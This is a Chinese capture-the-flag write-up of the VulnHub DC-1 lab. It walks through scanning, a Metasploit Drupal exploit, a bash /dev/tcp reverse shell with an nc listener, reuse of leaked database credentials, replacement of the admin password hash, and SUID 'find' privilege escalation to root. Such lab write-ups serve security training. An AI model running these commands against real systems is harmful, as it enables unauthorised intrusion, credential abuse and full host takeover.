vulnhub靶场DC-1

0x01  信息收集

启动DC1靶机发现没有登录密码

DC1和kali使用桥接模式与物理机连接,相当于在同一个网络下的3台主机

查看kali的ip,nmap扫描同段

nmap -sP 192.168.5.0/24

扫描靶机开放端口

nmap 192.168.5.65 -p- (加-A  综合扫描,不需要)

  

目标开启了80端口,访问发现是Drupal站

 drupal是三大PHP CMS 之一:drupal WordPress Joomla 由于是开源的网站,所以应该有很多公开的漏洞

同时目标还开了22端口,可以用ssh爆破

扫描网站目录

dirb 192.168.5.65

 

查看robots.txt,发现更新信息有网站版本

0x02  尝试攻击

进入msfconsole模块,搜寻drupal

 使用第四个攻击模块

 查看可攻击的目标,包含网站版本,可能攻击成功

 设置相关选项,使用反弹连接,查看可使用的payload

show options

set rhosts 192.168.5.65

检查确认后执行(run.exploit都行)

 建立连接,查看目录发现flag1.txt

提示config配置文件,百度找了一下durpal配置文件在/sites/default/settings.php

发现flag2.txt和数据库密码,提示爆破和目录攻击不是唯一方法

使用shell获得普通用户权限,创建python伪终端获得python提供的标准shell

方便操作

python -c 'import pty;pty.spawn("/bin/bash")' //具体看python版本

 查看3306端口是否开放

netstat -anptl

 只允许本地连接,所以需要反弹shell

kali监听2333端口

nc -lvp 2333

目标机执行shell反弹命令

bash -i >& /dev/tcp/192.168.5.65/2333 0>&1 //命令详解见总结 

 

登录mysql

mysql -udbuser -pR0ck3t

查询数据库

show databases 

use drupaldb;

 查表

show tables;

 查看users表

select * from usersG;

 密码是使用该cms特有的hash算法,查找hash文件

scripts录有password-hash.sh文件。思路为用该文件生成自己的密码hash值替换数据库hash,达到登陆后台的目的。

php scripts/password-hash.sh abcde 在www下使用scripts/password-hash.sh文件生成asdfg密码的密文

php scripts/password-hash.sh abcde //这里不知道为什么要退回上级目录才能成功使用脚本

 

 修改数据库存储的密码

update users set pass="密文" where uid=1;

回到网站登录, dashboard板块发现flag3.txt

 提示可以用find提权

查看/etc/passwd,发现flag4

 home目录下找到flag4

内核提权进入root

提权之前我们需要看系统中是否有一些命令具有SUID标识—如果命令有SUID标识,说明这些命令在执行过程中会有短暂的root权限

查看具有SUID权限的命令

find /-perm -4000 2>/dev/null

上面这些命令在执行时都会短暂获得root权限,使用这些命令执行另一些命令时,那些命令也相应具有短暂的root权限

find flag4.txt -exec "/bin/sh" ;

原文地址:https://www.cnblogs.com/-saber/p/14551881.html